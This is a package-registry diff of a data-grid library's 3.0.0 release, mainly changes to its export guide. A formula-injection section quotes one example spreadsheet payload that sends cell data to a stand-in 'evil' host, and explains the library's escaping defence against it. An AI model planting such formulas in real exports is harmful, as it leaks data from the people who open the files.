@opencorestack/opengridx 2.0.4 → 3.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +408 -3
- package/README.md +93 -72
- package/dist/index.d.ts +611 -121
- package/dist/opengridx.css +1 -1
- package/dist/opengridx.es.js +7992 -5650
- package/dist/opengridx.es.js.map +1 -1
- package/dist/opengridx.umd.js +17 -23
- package/dist/opengridx.umd.js.map +1 -1
- package/docs/API_REFERENCE.md +348 -161
- package/docs/README.md +6 -1
- package/docs/architecture/datagrid-orchestration.md +81 -0
- package/docs/architecture/grid-row-meta.md +102 -0
- package/docs/architecture/use-grid-columns.md +128 -0
- package/docs/architecture/use-grid-controlled-state.md +157 -0
- package/docs/architecture/use-grid-row-pipeline.md +120 -0
- package/docs/architecture/use-grid-scroll-sync.md +111 -0
- package/docs/architecture/use-grid-state-snapshot.md +90 -0
- package/docs/architecture/use-grid-virtualization.md +115 -0
- package/docs/architecture/use-grid-visible-rows.md +85 -0
- package/docs/assets/banner-alt.png +0 -0
- package/docs/assets/banner.png +0 -0
- package/docs/assets/hero.png +0 -0
- package/docs/assets/logo.png +0 -0
- package/docs/components/aggregation-footer.md +15 -10
- package/docs/components/cell.md +16 -6
- package/docs/components/column-group-header.md +55 -28
- package/docs/components/column-resize.md +17 -13
- package/docs/components/column-visibility.md +45 -22
- package/docs/components/datagrid.md +14 -12
- package/docs/components/empty-state.md +2 -1
- package/docs/components/error-overlay.md +12 -7
- package/docs/components/filter-panel.md +28 -8
- package/docs/components/header.md +28 -9
- package/docs/components/pagination.md +14 -8
- package/docs/components/row.md +21 -5
- package/docs/components/toolbar.md +27 -9
- package/docs/components/tooltip.md +16 -7
- package/docs/customization/slots-api.md +100 -36
- package/docs/customization/theming.md +66 -18
- package/docs/features/aggregation-pivot.md +75 -9
- package/docs/features/cell-spanning.md +80 -125
- package/docs/features/clipboard.md +41 -16
- package/docs/features/custom-pagination.md +38 -18
- package/docs/features/data-source.md +36 -13
- package/docs/features/editing-reordering.md +125 -16
- package/docs/features/export-guide.md +147 -41
- package/docs/features/filtering.md +44 -6
- package/docs/features/infinite-scroll.md +54 -46
- package/docs/features/keyboard-navigation.md +83 -0
- package/docs/features/list-view.md +58 -5
- package/docs/features/loading-states.md +18 -20
- package/docs/features/master-detail.md +18 -5
- package/docs/features/pdf-export.md +56 -19
- package/docs/features/pinning.md +23 -5
- package/docs/features/selection.md +50 -10
- package/docs/features/sorting-pagination.md +66 -14
- package/docs/features/state-persistence.md +78 -10
- package/docs/features/toolbar-customization.md +26 -17
- package/docs/features/tree-data-grouping.md +44 -9
- package/docs/features/virtualization.md +64 -15
- package/docs/migration/v1-to-v2.md +115 -0
- package/docs/migration/v2-to-v3.md +1222 -0
- package/docs/performance.md +124 -0
- package/docs/roadmap.md +16 -10
- package/lib/components/Cell/Cell.css +13 -1
- package/lib/components/Cell/Cell.tsx +130 -57
- package/lib/components/Cell/CellErrorBoundary.tsx +12 -6
- package/lib/components/Cell/GridEditInputCell.tsx +114 -41
- package/lib/components/ColumnGroupHeader/ColumnGroupHeader.css +7 -1
- package/lib/components/ColumnResizeHandle/ColumnResizeHandle.css +11 -0
- package/lib/components/ColumnResizeHandle/ColumnResizeHandle.tsx +104 -38
- package/lib/components/ColumnResizeHandle/clampResizeWidth.ts +13 -0
- package/lib/components/ColumnVisibilityPanel/ColumnVisibilityPanel.css +6 -0
- package/lib/components/ColumnVisibilityPanel/ColumnVisibilityPanel.tsx +21 -13
- package/lib/components/DataGrid/DataGrid.css +84 -12
- package/lib/components/DataGrid/DataGrid.tsx +606 -872
- package/lib/components/DataGrid/GridAggregationFooter.tsx +53 -17
- package/lib/components/DataGrid/GridEmptyState.tsx +7 -1
- package/lib/components/DataGrid/GridErrorOverlay.tsx +15 -12
- package/lib/components/DataGrid/GridListView.tsx +166 -23
- package/lib/components/DataGrid/GridLiveRegion.tsx +31 -0
- package/lib/components/DataGrid/GridLoadingOverlay.tsx +27 -0
- package/lib/components/DataGrid/GridPaginationArea.tsx +44 -0
- package/lib/components/DataGrid/GridPinnedRows.tsx +65 -11
- package/lib/components/DataGrid/GridStandaloneColumnPanel.tsx +40 -38
- package/lib/components/DataGrid/GridToolbarSlot.tsx +51 -0
- package/lib/components/DataGrid/GridVirtualRows.tsx +48 -25
- package/lib/components/DetailPanel/DetailPanel.css +0 -6
- package/lib/components/DetailPanel/DetailPanel.tsx +34 -5
- package/lib/components/DetailPanel/DetailPanelContent.tsx +17 -0
- package/lib/components/FilterPanel/FilterPanel.css +13 -2
- package/lib/components/FilterPanel/FilterPanel.tsx +272 -99
- package/lib/components/Header/ColumnMenu.tsx +91 -39
- package/lib/components/Header/Header.css +3 -3
- package/lib/components/Header/Header.tsx +179 -160
- package/lib/components/ListView/ListView.css +25 -0
- package/lib/components/ListView/ListViewRow.tsx +79 -10
- package/lib/components/Pagination/Pagination.tsx +15 -7
- package/lib/components/Row/Row.tsx +185 -75
- package/lib/components/Toolbar/GlobalSearch.css +6 -3
- package/lib/components/Toolbar/GlobalSearch.tsx +26 -27
- package/lib/components/Toolbar/GridToolbar.css +12 -11
- package/lib/components/Toolbar/GridToolbar.tsx +133 -89
- package/lib/components/Toolbar/PivotPanel.tsx +89 -49
- package/lib/components/Tooltip/Tooltip.css +20 -0
- package/lib/components/Tooltip/Tooltip.tsx +68 -35
- package/lib/components/ui/Button.tsx +3 -0
- package/lib/components/ui/Checkbox.tsx +2 -1
- package/lib/components/ui/ExpandIcon.css +0 -9
- package/lib/components/ui/ExpandIcon.tsx +4 -1
- package/lib/hooks/core/gridApiPlaceholder.ts +34 -0
- package/lib/hooks/core/gridToolbarHostContext.ts +14 -0
- package/lib/hooks/core/useDataGrid.ts +115 -173
- package/lib/hooks/core/useGridAggregationApi.ts +72 -0
- package/lib/hooks/core/useGridApiMethods.ts +115 -0
- package/lib/hooks/core/useGridApiRef.ts +15 -3
- package/lib/hooks/core/useGridApiRefBinding.ts +18 -0
- package/lib/hooks/core/useGridAriaRows.ts +38 -0
- package/lib/hooks/core/useGridClipboardApi.ts +38 -0
- package/lib/hooks/core/useGridColumnLookup.ts +30 -0
- package/lib/hooks/core/useGridColumns.tsx +284 -76
- package/lib/hooks/core/useGridColumnsPanel.ts +77 -0
- package/lib/hooks/core/useGridControlledState.ts +99 -6
- package/lib/hooks/core/useGridDetailPanel.ts +51 -0
- package/lib/hooks/core/useGridDevWarnings.ts +123 -0
- package/lib/hooks/core/useGridFocusHandlers.ts +50 -0
- package/lib/hooks/core/useGridGroupingColumn.ts +62 -0
- package/lib/hooks/core/useGridHeaderHandlers.ts +92 -0
- package/lib/hooks/core/useGridHierarchy.ts +81 -0
- package/lib/hooks/core/useGridKeyboardNavigation.ts +452 -250
- package/lib/hooks/core/useGridLiveRowSelection.ts +67 -0
- package/lib/hooks/core/useGridPageCorrection.ts +55 -0
- package/lib/hooks/core/useGridRowIdOf.ts +32 -0
- package/lib/hooks/core/useGridRowInteractions.ts +81 -0
- package/lib/hooks/core/useGridRowPipeline.ts +69 -39
- package/lib/hooks/core/useGridRowSelection.ts +91 -0
- package/lib/hooks/core/useGridScrollSync.ts +80 -32
- package/lib/hooks/core/useGridScrollToIndexesApi.ts +45 -0
- package/lib/hooks/core/useGridStateSnapshot.ts +40 -5
- package/lib/hooks/core/useGridThemeDimensions.ts +49 -0
- package/lib/hooks/core/useGridToolbarProps.ts +97 -0
- package/lib/hooks/core/useGridViewport.ts +38 -0
- package/lib/hooks/core/useGridViewportSize.ts +26 -0
- package/lib/hooks/core/useGridVisibleRows.ts +20 -7
- package/lib/hooks/core/useLayout.ts +215 -195
- package/lib/hooks/core/useRowsScrollEndLatch.ts +41 -0
- package/lib/hooks/core/useStableColumns.ts +34 -0
- package/lib/hooks/features/useAggregation.ts +86 -90
- package/lib/hooks/features/useColumnGroupReorderGuard.ts +34 -0
- package/lib/hooks/features/useDetailPanelHeights.ts +29 -0
- package/lib/hooks/features/useGridClipboard.ts +133 -73
- package/lib/hooks/features/useGridDataSource.ts +354 -128
- package/lib/hooks/features/useGridEditing.ts +211 -51
- package/lib/hooks/features/useGridPivot.ts +92 -0
- package/lib/hooks/features/useGridSpanRenderWindow.ts +104 -0
- package/lib/hooks/features/useGridSpanning.ts +410 -306
- package/lib/hooks/features/usePivot.ts +0 -0
- package/lib/hooks/features/useServerTreeChildren.ts +50 -0
- package/lib/hooks/useColumnReorder.ts +38 -44
- package/lib/hooks/useRowGrouping.ts +335 -214
- package/lib/hooks/useRowReorder.ts +62 -31
- package/lib/hooks/useTreeData.ts +330 -262
- package/lib/index.ts +30 -2
- package/lib/state/index.ts +1 -0
- package/lib/state/types.ts +7 -1
- package/lib/state/useGridStateStorage.ts +88 -29
- package/lib/theme/DataGridThemeProvider.tsx +143 -38
- package/lib/theme/gridThemeContext.ts +5 -0
- package/lib/theme/index.ts +5 -0
- package/lib/theme/presets.ts +5 -4
- package/lib/theme/types.ts +40 -2
- package/lib/types/index.ts +311 -108
- package/lib/utils/aggregation/index.ts +157 -0
- package/lib/utils/aria/index.ts +40 -0
- package/lib/utils/columnGroups.ts +110 -0
- package/lib/utils/columnLookup.ts +33 -0
- package/lib/utils/columnWidth.ts +22 -0
- package/lib/utils/dataSource/index.ts +46 -0
- package/lib/utils/detailPanel.ts +66 -0
- package/lib/utils/dragData.ts +44 -0
- package/lib/utils/editing/index.ts +30 -0
- package/lib/utils/export/exportShared.ts +197 -0
- package/lib/utils/export/exportToExcelAdvanced.ts +344 -121
- package/lib/utils/export/exportToPdf.ts +143 -92
- package/lib/utils/export/groupLabel.ts +14 -0
- package/lib/utils/export/index.ts +278 -272
- package/lib/utils/export/pdfText.ts +50 -0
- package/lib/utils/filtering/index.ts +277 -148
- package/lib/utils/focus/index.ts +115 -0
- package/lib/utils/gridApiRows.ts +35 -0
- package/lib/utils/gridModes.ts +77 -0
- package/lib/utils/grouping/groupedExportRows.ts +91 -0
- package/lib/utils/pagination/index.ts +56 -0
- package/lib/utils/pinning/index.ts +77 -33
- package/lib/utils/pivot/index.ts +368 -0
- package/lib/utils/scroll/index.ts +78 -0
- package/lib/utils/scroll/scrollEnd.ts +18 -0
- package/lib/utils/sorting/index.ts +154 -30
- package/lib/utils/syntheticRows.ts +12 -0
- package/lib/utils/values.ts +206 -0
- package/lib/utils/viewport.ts +14 -0
- package/llms.txt +272 -166
- package/package.json +18 -6
- package/lib/components/ColumnGroupHeader/ColumnGroupHeader.tsx +0 -220
- package/lib/components/ColumnVisibilityPanel/ColumnVisibilityPanel.test.tsx +0 -85
- package/lib/components/DataGrid/DataGrid.regression.test.tsx +0 -132
- package/lib/components/DataGrid/DataGrid.smoke.test.tsx +0 -58
- package/lib/components/DataGrid/DataGrid.v2.test.tsx +0 -127
- package/lib/components/Header/Header.test.tsx +0 -135
- package/lib/components/Pagination/Pagination.test.tsx +0 -64
- package/lib/hooks/core/useDataGrid.regression.test.ts +0 -66
- package/lib/hooks/core/useGridControlledState.test.ts +0 -86
- package/lib/hooks/core/useGridKeyboardNavigation.test.ts +0 -176
- package/lib/hooks/core/useGridRowPipeline.test.ts +0 -117
- package/lib/hooks/features/useAggregation.test.ts +0 -175
- package/lib/hooks/features/usePivot.test.ts +0 -202
- package/lib/hooks/useRowGrouping.test.ts +0 -137
- package/lib/utils/export/exportToPdf.test.ts +0 -120
- package/lib/utils/export/groupedExport.test.ts +0 -144
- package/lib/utils/filtering/filtering.test.ts +0 -178
- package/lib/utils/sorting/sorting.test.ts +0 -88
|
@@ -22,8 +22,8 @@ import { exportToCsv, exportToExcel, exportToExcelAdvanced, exportToJson, printG
|
|
|
22
22
|
// CSV
|
|
23
23
|
exportToCsv(rows, columns, { fileName: 'data.csv' });
|
|
24
24
|
|
|
25
|
-
// Basic Excel (no deps)
|
|
26
|
-
exportToExcel(rows, columns, { fileName: 'data.
|
|
25
|
+
// Basic Excel (no deps) — an HTML table that Excel opens as a legacy .xls
|
|
26
|
+
exportToExcel(rows, columns, { fileName: 'data.xls' });
|
|
27
27
|
|
|
28
28
|
// Advanced Excel (ExcelJS, lazy-loaded)
|
|
29
29
|
await exportToExcelAdvanced(rows, columns, { fileName: 'data.xlsx' });
|
|
@@ -47,7 +47,7 @@ exportToCsv(rows, columns, {
|
|
|
47
47
|
includeHeaders: true,
|
|
48
48
|
delimiter: ',',
|
|
49
49
|
selectedRows: [1, 2, 3], // export only these IDs
|
|
50
|
-
aggregationResult: aggResult, // adds SUM/AVG
|
|
50
|
+
aggregationResult: aggResult, // adds two rows: function labels (SUM/AVG), then values
|
|
51
51
|
aggregationModel: { salary: 'sum' },
|
|
52
52
|
});
|
|
53
53
|
```
|
|
@@ -58,16 +58,24 @@ exportToCsv(rows, columns, {
|
|
|
58
58
|
|---|---|---|---|
|
|
59
59
|
| `fileName` | `string` | `'export.csv'` | Output filename |
|
|
60
60
|
| `includeHeaders` | `boolean` | `true` | Include column header row |
|
|
61
|
-
| `delimiter` | `string` | `','` | Field delimiter |
|
|
62
|
-
| `selectedRows` | `(string\|number)[]` | — | Export only these row IDs |
|
|
63
|
-
| `aggregationResult` | `object \| null` | — |
|
|
61
|
+
| `delimiter` | `string` | `','` | Field delimiter. Values that contain it (or a quote, LF or CR) are quoted |
|
|
62
|
+
| `selectedRows` | `(string\|number)[]` | — | Export only these row IDs. See [Selection, grouping and totals](#selection-grouping-and-totals) |
|
|
63
|
+
| `aggregationResult` | `object \| null` | — | Appends two rows after the data: a function-label row (`SUM`, `AVG`…) then a values row |
|
|
64
64
|
| `aggregationModel` | `object \| null` | — | Labels for aggregation row |
|
|
65
|
+
| `groupedRows` | `GridGroupedExportRow[]` | — | Grouped structure from `apiRef.current.getGroupedExportRows()` |
|
|
66
|
+
| `getRowId` | `(row) => GridRowId` | `row.id` | The grid's `getRowId`, needed with `selectedRows` when rows are keyed by another field (v3.0+) |
|
|
67
|
+
| `escapeFormulas` | `boolean` | `true` | Prefix text that starts with `=`, `+`, `-`, `@`, tab or CR with `'` (v3.0+). See [Formula injection](#formula-injection) |
|
|
68
|
+
| `bom` | `boolean` | `true` | Start the file with a UTF-8 byte-order mark so Excel reads non-ASCII text (v3.0+) |
|
|
69
|
+
|
|
70
|
+
### Formula injection
|
|
71
|
+
|
|
72
|
+
Spreadsheet apps run any cell that starts with `=`, `+`, `-` or `@` as a formula, so user-entered text such as `=HYPERLINK("http://evil/?"&A2,"Click")` can leak data or run commands when someone opens the export ("CSV injection"). Since v3.0, `exportToCsv` and `exportToExcel` prefix such text — in cells, headers and group labels — with `'`, which makes it plain text. Plain signed numbers (`-12.50`) and text formatted from a number, date or boolean value are left alone. Pass `escapeFormulas: false` only when every exported value is trusted and you need live formulas.
|
|
65
73
|
|
|
66
74
|
---
|
|
67
75
|
|
|
68
76
|
## 2. `exportToExcel` (basic)
|
|
69
77
|
|
|
70
|
-
HTML-table approach, no external libraries. Opens reliably in Excel and Numbers but as a legacy `.xls` format.
|
|
78
|
+
HTML-table approach, no external libraries. Opens reliably in Excel and Numbers but as a legacy `.xls` format. Excel refuses HTML content named `.xlsx`, so since v3.0 a `.xlsx` file name is renamed to `.xls` (with a console warning); use [`exportToExcelAdvanced`](#3-exporttoexceladvanced--recommended) for a real `.xlsx`. Text cells are marked as text (`mso-number-format:"\@"`), so Excel keeps leading zeros (`00501`), long ids and strings like `1-2` as they are; number, date and boolean columns are left for Excel to type.
|
|
71
79
|
|
|
72
80
|
```tsx
|
|
73
81
|
import { exportToExcel } from '@opencorestack/opengridx';
|
|
@@ -85,12 +93,15 @@ exportToExcel(rows, columns, {
|
|
|
85
93
|
|
|
86
94
|
| Option | Type | Default | Description |
|
|
87
95
|
|---|---|---|---|
|
|
88
|
-
| `fileName` | `string` | `'export.
|
|
89
|
-
| `sheetName` | `string` | `'Sheet1'` | Sheet tab name |
|
|
96
|
+
| `fileName` | `string` | `'export.xls'` | Output filename (`.xlsx` is renamed to `.xls`) |
|
|
97
|
+
| `sheetName` | `string` | `'Sheet1'` | Sheet tab name. Characters Excel rejects (`\ / ? * : [ ]`) become `-`; cut to 31 characters |
|
|
90
98
|
| `includeHeaders` | `boolean` | `true` | Include column header row |
|
|
91
|
-
| `selectedRows` | `(string\|number)[]` | — | Export only these row IDs |
|
|
92
|
-
| `aggregationResult` | `object \| null` | — |
|
|
99
|
+
| `selectedRows` | `(string\|number)[]` | — | Export only these row IDs. See [Selection, grouping and totals](#selection-grouping-and-totals) |
|
|
100
|
+
| `aggregationResult` | `object \| null` | — | Appends two rows after the data: a function-label row (`SUM`, `AVG`…) then a values row |
|
|
93
101
|
| `aggregationModel` | `object \| null` | — | Labels for aggregation row |
|
|
102
|
+
| `groupedRows` | `GridGroupedExportRow[]` | — | Grouped structure from `apiRef.current.getGroupedExportRows()` |
|
|
103
|
+
| `getRowId` | `(row) => GridRowId` | `row.id` | The grid's `getRowId`, needed with `selectedRows` when rows are keyed by another field (v3.0+) |
|
|
104
|
+
| `escapeFormulas` | `boolean` | `true` | Prefix formula-like text with `'` (v3.0+). See [Formula injection](#formula-injection) |
|
|
94
105
|
|
|
95
106
|
---
|
|
96
107
|
|
|
@@ -162,16 +173,20 @@ await exportToExcelAdvanced(rows, columns, {
|
|
|
162
173
|
| `bodyFontSize` | `number` | `10` | Body font size (pt) |
|
|
163
174
|
| `aggregationResult` | `object \| null` | — | Aggregation totals |
|
|
164
175
|
| `aggregationModel` | `object \| null` | — | Aggregation function labels |
|
|
165
|
-
| `selectedRows` | `(string\|number)[]` | — | IDs for `rows: 'selected'` sheets |
|
|
176
|
+
| `selectedRows` | `(string\|number)[]` | — | IDs for `rows: 'selected'` sheets. With no selection, such a sheet has only its header row (v3.0+) |
|
|
177
|
+
| `getRowId` | `(row) => GridRowId` | `row.id` | The grid's `getRowId`, needed with `selectedRows` when rows are keyed by another field (v3.0+) |
|
|
178
|
+
| `groupedRows` | `GridGroupedExportRow[]` | — | Grouped structure from `apiRef.current.getGroupedExportRows()` (v2.1+). See [Grouped export](#grouped-export-to-advanced-excel) |
|
|
179
|
+
| `groupHeaderFillColor` | `string` | `'#e8eaf6'` | Group-header row fill (grouped export) |
|
|
180
|
+
| `groupSubtotalFillColor` | `string` | `'#f0f4ff'` | Group-subtotal row fill (grouped export) |
|
|
166
181
|
|
|
167
182
|
### `ExcelSheetDefinition`
|
|
168
183
|
|
|
169
184
|
| Option | Type | Default | Description |
|
|
170
185
|
|---|---|---|---|
|
|
171
|
-
| `name` | `string` | — | Sheet tab name (
|
|
172
|
-
| `rows` | `'all' \| 'selected'` | `'all'` | Which rows to include |
|
|
186
|
+
| `name` | `string` | — | Sheet tab name. Characters Excel rejects (`\ / ? * : [ ]`) become `-`, the name is cut to 31 characters, and a duplicate name (case-insensitive, also between two `summary` sheets) gets a ` (2)` suffix (v3.0+) |
|
|
187
|
+
| `rows` | `'all' \| 'selected'` | `'all'` | Which rows to include. `'selected'` writes only `selectedRows`, none when nothing is selected |
|
|
173
188
|
| `includeHeaders` | `boolean` | `true` | Include column header row |
|
|
174
|
-
| `includeSummary` | `boolean` | `false` | Aggregation totals rows at bottom |
|
|
189
|
+
| `includeSummary` | `boolean` | `false` | Aggregation totals rows at bottom. On a `'selected'` sheet the totals are recomputed over the selected rows |
|
|
175
190
|
| `autoFilter` | `boolean` | `true` | Excel filter dropdowns on header |
|
|
176
191
|
| `frozenHeader` | `boolean` | `true` | Freeze row 1 |
|
|
177
192
|
| `alternateRowColor` | `string \| false` | `'#f8fafc'` | Odd-row fill. `false` to disable |
|
|
@@ -180,16 +195,42 @@ await exportToExcelAdvanced(rows, columns, {
|
|
|
180
195
|
|
|
181
196
|
| Option | Type | Description |
|
|
182
197
|
|---|---|---|
|
|
183
|
-
| `numFmt` | `string` | Excel number format, e.g. `'$#,##0.00'`, `'0.00%'`, `'yyyy-mm-dd'` |
|
|
198
|
+
| `numFmt` | `string` | Excel number format, e.g. `'$#,##0.00'`, `'0.00%'`, `'yyyy-mm-dd'`. Defaults: `type: 'number'` cells get `'#,##0'` for whole numbers and `'#,##0.##'` otherwise; `type: 'date'` gets `'yyyy-mm-dd'` |
|
|
184
199
|
| `width` | `number` | Column width in characters (overrides auto) |
|
|
185
200
|
| `alignment` | `'left' \| 'center' \| 'right'` | Horizontal alignment |
|
|
186
|
-
| `embedImage` | `boolean` | If true, URL
|
|
201
|
+
| `embedImage` | `boolean` | If true, the cell's URL (after `valueGetter`) is fetched and embedded as an image. PNG, JPEG and GIF are embedded (detected from the bytes); other formats (SVG, WebP, AVIF) and failed fetches write the URL text instead |
|
|
187
202
|
| `imageWidth` | `number` | Width of embedded image (px, default: 40) |
|
|
188
203
|
| `imageHeight`| `number` | Height of embedded image (px, default: 40) |
|
|
189
204
|
|
|
205
|
+
### Grouped export to advanced Excel
|
|
206
|
+
|
|
207
|
+
Since v2.1, pass the grid's grouped structure to keep number formats, styling and summary sheets on grouped reports:
|
|
208
|
+
|
|
209
|
+
```tsx
|
|
210
|
+
await exportToExcelAdvanced(rows, columns, {
|
|
211
|
+
fileName: 'sales-by-region.xlsx',
|
|
212
|
+
groupedRows: apiRef.current.getGroupedExportRows() ?? undefined,
|
|
213
|
+
aggregationModel,
|
|
214
|
+
aggregationResult: apiRef.current.getAggregationResult(),
|
|
215
|
+
columnStyles: { amount: { numFmt: '$#,##0.00' } },
|
|
216
|
+
});
|
|
217
|
+
```
|
|
218
|
+
|
|
219
|
+
Sheets with `rows: 'all'` are written in grouped order: a bold group-header row (the same label the grid shows — see [Group labels in exports](#group-labels-in-exports)), the leaf rows, a `Subtotal` row per group, and a final `Grand Total`. Rows use Excel's native outlining, so users can collapse groups in Excel. Subtotal and total values are written as numbers so `columnStyles[field].numFmt` applies — except `count` and `unique`, which are plain integers (`'#,##0'`) rather than, say, a currency or date, and `min` / `max` of a date column, which are written as dates. When the first column has its own aggregate, its value is written instead of the `Subtotal` label. A `grand-total` entry replaces the sheet's `includeSummary` rows, so totals are not duplicated. `rows: 'selected'` sheets ignore `groupedRows` and export flat.
|
|
220
|
+
|
|
221
|
+
### Group labels in exports
|
|
222
|
+
|
|
223
|
+
Every exporter (CSV, basic Excel, JSON, print, PDF and advanced Excel) writes the same group-header label the grid shows on screen:
|
|
224
|
+
|
|
225
|
+
1. the entry's `groupLabel` — set by `apiRef.current.getGroupedExportRows()` from the grid's own label;
|
|
226
|
+
2. else the grouping column's `groupingValueFormatter`;
|
|
227
|
+
3. else `"field: value"`, the grid's documented default.
|
|
228
|
+
|
|
229
|
+
Before v3.0, only advanced Excel applied `groupingValueFormatter` (falling back to `"Header: value"`), and the other formats always wrote `"field: value"`.
|
|
230
|
+
|
|
190
231
|
### Summary Sheet
|
|
191
232
|
|
|
192
|
-
Pass `{ type: 'summary', name: 'My Sheet' }` in `sheets` to add a standalone aggregation sheet:
|
|
233
|
+
Pass `{ type: 'summary', name: 'My Sheet' }` in `sheets` to add a standalone aggregation sheet. Values are numeric cells (v3.0+; they were locale-formatted text before) in the column's `numFmt`, so with `columnStyles: { salary: { numFmt: '$#,##0' } }`:
|
|
193
234
|
|
|
194
235
|
```
|
|
195
236
|
| Column | Function | Value |
|
|
@@ -199,6 +240,22 @@ Pass `{ type: 'summary', name: 'My Sheet' }` in `sheets` to add a standalone agg
|
|
|
199
240
|
| Perf. Score | AVG | 3.7 |
|
|
200
241
|
```
|
|
201
242
|
|
|
243
|
+
The flat `includeSummary` totals row is numeric in the same way.
|
|
244
|
+
|
|
245
|
+
### Cell types
|
|
246
|
+
|
|
247
|
+
`exportToExcelAdvanced` writes native cells so Excel can sort, filter and sum them:
|
|
248
|
+
|
|
249
|
+
| Column / value | Written as |
|
|
250
|
+
|---|---|
|
|
251
|
+
| `type: 'number'` — numbers, and numeric strings such as `'42.50'` | Number |
|
|
252
|
+
| `type: 'boolean'` — booleans, and `'true'` / `'false'` strings | Boolean |
|
|
253
|
+
| `type: 'date'` — `Date`, epoch milliseconds, and ISO strings (`'2024-01-15'`, `'2024-01-15T10:30'`) | Date, with the same calendar day and wall-clock time the grid shows in the user's timezone |
|
|
254
|
+
| A value that is not of the column's type (`'n/a'` in a number column) | The `valueFormatter` text, else the value as text |
|
|
255
|
+
| `NaN`, `Infinity`, Invalid Date, `null` | Empty cell (or the `valueFormatter` text, which also runs for missing values) |
|
|
256
|
+
| Objects and arrays | JSON text. Objects are never handed to ExcelJS as-is, so `{ formula }`, `{ hyperlink }`, `{ richText }` or `{ error }` row data cannot become live formulas or links |
|
|
257
|
+
| Anything else | The `valueFormatter` text, else the value |
|
|
258
|
+
|
|
202
259
|
### Feature Comparison: Basic vs Advanced
|
|
203
260
|
|
|
204
261
|
| Feature | `exportToExcel` | `exportToExcelAdvanced` |
|
|
@@ -234,6 +291,8 @@ exportToJson(rows, columns, {
|
|
|
234
291
|
});
|
|
235
292
|
```
|
|
236
293
|
|
|
294
|
+
JSON is a data format, so values are written raw: `valueGetter` is applied, `valueFormatter` is not.
|
|
295
|
+
|
|
237
296
|
When `aggregationResult` is provided, output shape becomes:
|
|
238
297
|
```json
|
|
239
298
|
{
|
|
@@ -245,6 +304,8 @@ When `aggregationResult` is provided, output shape becomes:
|
|
|
245
304
|
}
|
|
246
305
|
```
|
|
247
306
|
|
|
307
|
+
`aggregation.values` are the raw results (numbers). Before v3.0 they were locale-formatted strings such as `"8,320,000"`. With `groupedRows`, the output is `{ groups, grandTotal }`, and `subtotals` / `grandTotal` contain only exported columns (an `exportable: false` column's totals are left out, v3.0+).
|
|
308
|
+
|
|
248
309
|
**`JsonExportOptions`:**
|
|
249
310
|
|
|
250
311
|
| Option | Type | Default | Description |
|
|
@@ -252,8 +313,10 @@ When `aggregationResult` is provided, output shape becomes:
|
|
|
252
313
|
| `fileName` | `string` | `'export.json'` | Output filename |
|
|
253
314
|
| `pretty` | `boolean` | `true` | Pretty-print with indentation |
|
|
254
315
|
| `selectedRows` | `(string\|number)[]` | — | Export only these row IDs |
|
|
316
|
+
| `getRowId` | `(row) => GridRowId` | `row.id` | The grid's `getRowId`, needed with `selectedRows` when rows are keyed by another field (v3.0+) |
|
|
255
317
|
| `aggregationResult` | `object \| null` | — | Append aggregation object |
|
|
256
318
|
| `aggregationModel` | `object \| null` | — | Function labels |
|
|
319
|
+
| `groupedRows` | `GridGroupedExportRow[]` | — | Grouped structure; output becomes a nested `{ groups, grandTotal }` tree |
|
|
257
320
|
|
|
258
321
|
---
|
|
259
322
|
|
|
@@ -281,9 +344,13 @@ printGrid(rows, columns, {
|
|
|
281
344
|
| Option | Type | Description |
|
|
282
345
|
|---|---|---|
|
|
283
346
|
| `title` | `string` | Print page title |
|
|
284
|
-
| `selectedRows` | `(string\|number)[]` | Print only these row IDs |
|
|
347
|
+
| `selectedRows` | `(string\|number)[]` | Print only these row IDs. See [Selection, grouping and totals](#selection-grouping-and-totals) |
|
|
285
348
|
| `aggregationResult` | `object \| null` | Append totals |
|
|
286
349
|
| `aggregationModel` | `object \| null` | Label totals |
|
|
350
|
+
| `groupedRows` | `GridGroupedExportRow[]` | Grouped structure from `apiRef.current.getGroupedExportRows()` |
|
|
351
|
+
| `getRowId` | `(row) => GridRowId` | The grid's `getRowId`, needed with `selectedRows` when rows are keyed by another field (v3.0+) |
|
|
352
|
+
|
|
353
|
+
The print window is a same-origin popup, so every value written into it — title, cells, headers, group labels, image URLs and alt text, error messages — is HTML-escaped. `type: 'image'` columns render an `<img>` only for `http(s):`, `data:image/…`, `blob:` and relative URLs; any other value (e.g. `javascript:…`) is printed as text.
|
|
287
354
|
|
|
288
355
|
---
|
|
289
356
|
|
|
@@ -291,13 +358,17 @@ printGrid(rows, columns, {
|
|
|
291
358
|
|
|
292
359
|
### Export with toolbar integration
|
|
293
360
|
|
|
361
|
+
`GridToolbar` has no built-in export action; render your own button with `renderExportButton`. Pass it through `slotProps.toolbar` rather than wrapping `GridToolbar` in an inline `slots.toolbar` function: the grid hands its filter, column and aggregation handlers to the slot component, and a wrapper that drops them leaves the toolbar without its search, Filters, Columns and Summaries controls.
|
|
362
|
+
|
|
294
363
|
```tsx
|
|
295
|
-
import {
|
|
364
|
+
import { useState } from 'react';
|
|
365
|
+
import {
|
|
366
|
+
DataGrid, GridToolbar, exportToExcelAdvanced,
|
|
367
|
+
type GridColDef, type GridRowModel, type GridRowSelectionModel,
|
|
368
|
+
} from '@opencorestack/opengridx';
|
|
296
369
|
|
|
297
|
-
function MyGrid() {
|
|
298
|
-
const [
|
|
299
|
-
const [columns] = useState([...]);
|
|
300
|
-
const [selected, setSelected] = useState([]);
|
|
370
|
+
function MyGrid({ rows, columns }: { rows: GridRowModel[]; columns: GridColDef[] }) {
|
|
371
|
+
const [selected, setSelected] = useState<GridRowSelectionModel>([]);
|
|
301
372
|
|
|
302
373
|
return (
|
|
303
374
|
<DataGrid
|
|
@@ -309,10 +380,17 @@ function MyGrid() {
|
|
|
309
380
|
slots={{ toolbar: GridToolbar }}
|
|
310
381
|
slotProps={{
|
|
311
382
|
toolbar: {
|
|
312
|
-
|
|
313
|
-
|
|
314
|
-
|
|
315
|
-
|
|
383
|
+
renderExportButton: () => (
|
|
384
|
+
<button
|
|
385
|
+
onClick={() => exportToExcelAdvanced(rows, columns, {
|
|
386
|
+
fileName: 'report.xlsx',
|
|
387
|
+
sheets: [{ name: 'Selected', rows: 'selected' }],
|
|
388
|
+
selectedRows: selected,
|
|
389
|
+
})}
|
|
390
|
+
>
|
|
391
|
+
Export to Excel
|
|
392
|
+
</button>
|
|
393
|
+
),
|
|
316
394
|
},
|
|
317
395
|
}}
|
|
318
396
|
/>
|
|
@@ -336,6 +414,10 @@ await exportToExcelAdvanced(rows, columns, {
|
|
|
336
